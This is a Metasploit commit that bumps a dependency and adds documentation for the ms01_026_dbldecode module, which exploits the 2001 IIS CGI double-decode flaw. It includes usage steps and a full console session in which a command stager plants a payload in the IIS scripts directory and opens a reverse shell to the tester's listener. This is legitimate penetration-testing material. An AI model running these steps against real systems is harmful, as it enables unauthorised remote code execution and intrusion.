Land #16724, Modernize ms01_026_dbldecode

Use HttpClient; remove meterpreter code; fix stager

Author: smcintyre-r7

Gemfile.lock

@@ -351,7 +351,7 @@ GEM
       metasm
       rex-arch
       rex-text
-    rex-exploitation (0.1.30)
+    rex-exploitation (0.1.31)
       jsobfu
       metasm
       rex-arch

documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md

@@ -0,0 +1,71 @@
+## Vulnerable Application
+
+This module will execute an arbitrary payload on a Microsoft IIS installation
+that is vulnerable to the CGI double-decode vulnerability of 2001.
+
+This module has been tested successfully on:
+
+* Windows 2000 Professional (SP0) (EN)
+* Windows 2000 Professional (SP1) (AR)
+* Windows 2000 Professional (SP1) (CZ)
+* Windows 2000 Server (SP0) (FR)
+* Windows 2000 Server (SP1) (EN)
+* Windows 2000 Server (SP1) (SE)
+
+Note: This module will leave a Metasploit payload in the IIS scripts directory.
+
+## Verification Steps
+
+1. `use exploit/windows/iis/ms01_026_dbldecode`
+1. `set RHOSTS [IP]`
+1. `set PAYLOAD windows/shell/reverse_tcp`
+1. `set LHOST [IP]`
+1. `run`
+
+## Options
+
+### WINDIR
+
+The Windows directory name of the target host.
+The directory name will be detected automatically if not set.
+
+### DEPTH
+
+Traversal depth to reach the drive root (default: `2`)
+
+## Scenarios
+
+### Windows 2000 Server (SP0) (FR)
+
+```
+msf6 > use exploit/windows/iis/ms01_026_dbldecode
+[*] Using configured payload windows/shell/reverse_tcp
+msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175
+rhosts => 192.168.200.175
+msf6 exploit(windows/iis/ms01_026_dbldecode) > check
+[+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt
+msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130
+lhost => 192.168.200.130
+msf6 exploit(windows/iis/ms01_026_dbldecode) > run
+
+[*] Started reverse TCP handler on 192.168.200.130:4444
+[*] Using Windows directory "winnt"
+[*] Copying "\winnt\system32\cmd.exe" to the IIS scripts directory as "EcFJ.exe"...
+[*] Command Stager progress -  66.67% done (40/60 bytes)
+[*] Command Stager progress - 100.00% done (60/60 bytes)
+[*] Triggering payload "qQErEZeB.exe" via a direct request...
+[*] Encoded stage with x86/shikata_ga_nai
+[*] Sending encoded stage (267 bytes) to 192.168.200.175
+[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.175:1090) at 2022-06-28 08:34:32 -0400
+[!] This exploit may require manual cleanup of 'qQErEZeB.exe' on the target
+
+
+Shell Banner:
+Microsoft Windows 2000 [Version 5.00.2195]
+-----
+          
+
+c:\inetpub\scripts>hostname
+hostname
+win2k-srv-fr
+```